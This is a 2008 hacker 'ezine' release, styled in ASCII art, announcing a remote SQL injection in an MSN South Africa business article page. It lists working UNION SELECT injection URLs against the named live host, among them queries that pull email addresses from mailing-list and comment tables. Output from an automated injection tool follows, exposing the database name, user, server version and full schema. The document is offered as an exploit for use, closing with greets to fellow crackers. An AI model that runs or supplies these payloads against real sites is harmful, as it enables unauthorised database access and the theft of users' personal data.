msn-sql.txt

`┌┌───────────────────────────────────────────────────────────────────────────┐  
││ C r a C k E r ┌┘  
┌┘ T H E C R A C K O F E T E R N A L M I G H T ││  
└───────────────────────────────────────────────────────────────────────────┘┘  
  
┌──── From The Ashes and Dust Rises An Unimaginable crack.... ────┐  
┌┌───────────────────────────────────────────────────────────────────────────┐  
┌┘ [ EZINE ] ┌┘  
└───────────────────────────────────────────────────────────────────────────┘┘  
: Author : CraCkEr : : :  
│ Website : msn.com │ │ Famous Sites Can Be │  
│ Vuln Type: Remote SQL Injection │ │ │  
│ Method : GET │ │ Olso Vulned │  
│ Critical : High [░░▒▒▓▓██] │ │ │  
│ Impact : Database access │ │ │  
│ ────────────────────────────────────┘ └─────────────────────────────────── │  
│ DALnet #crackers ┌┘  
└───────────────────────────────────────────────────────────────────────────┘┘  
: :  
│ Release Notes: │  
│ ═════════════ │  
│ Typically used for remotely exploitable vulnerabilities that can lead to │  
│ system compromise. │  
│ │  
  
┌┌───────────────────────────────────────────────────────────────────────────┐  
┌┘ Exploit URL's ┌┘  
└───────────────────────────────────────────────────────────────────────────┘┘  
  
[+] Remote SQL  
  
http://business.za.msn.com/msn/view_article.php?id=-1+union+select+1,version(),3,4,5,7,8/*  
  
http://business.za.msn.com/msn/view_article.php?id=-1+union+select+1,email,3,4,5,7,8 FROM mailing_list/*  
  
http://business.za.msn.com/msn/view_article.php?id=-1+union+select+1,email,3,4,5,7,8 FROM article_comment/*  
  
  
[+] Attack Results  
  
  
[+] URL:http://business.za.msn.com/msn/view_article.php?id=-1+union+select+1,darkc0de,3,4,5,7,8--  
[+] Gathering MySQL Server Configuration...  
[+] Database: marketviews2  
[+] User: [email protected]  
[+] Version: 5.1.17-beta  
[+] Showing Tables & Columns from database "marketviews2"  
[+] Number of Tables: 15  
  
[Database]: marketviews2  
[Table: Columns]  
[0]article: id,title,author_id,date_id,add_date,edit_date,intro,body,sort,link,image,type,status,msn_type,msn_status  
[1]article_comment: id,name,email,title,comment,date,author,display,area,dating  
[2]article_comments: id,article_id,cdate,name,subject,comment,publish  
[3]article_type: id,description  
[4]author: id,name,qual,display,profile,photo,avatar  
[5]cricket_results: id,date_tag,results  
[6]date: id,date,date_numeric  
[7]general: id,issue_date,issue_text,quote  
[8]inv_tips: id,status,descr,sort,add_date  
[9]last_ping: ping_date,edit_date  
[10]mailing_list: id,email,cdate  
[11]msn_type: id,description  
[12]msnbb: cdate,position,article_id,bb_image  
[13]poll: id,title,voters,status,edit_date  
[14]poll_data: id,poll_id,text,value,hits  
  
[-] [03:38:26]  
[-] Total URL Requests 79  
[-] Done  
  
  
└────────────────────────────────────────────────────────────────────────────┘  
  
Greets:  
The_PitBull, Raz0r, iNs, Sad, His0k4, Hussin X, Mr. SQL .  
  
┌┌───────────────────────────────────────────────────────────────────────────┐  
┌┘ © CraCkEr 2008 ┌┘  
└───────────────────────────────────────────────────────────────────────────┘┘  
  
`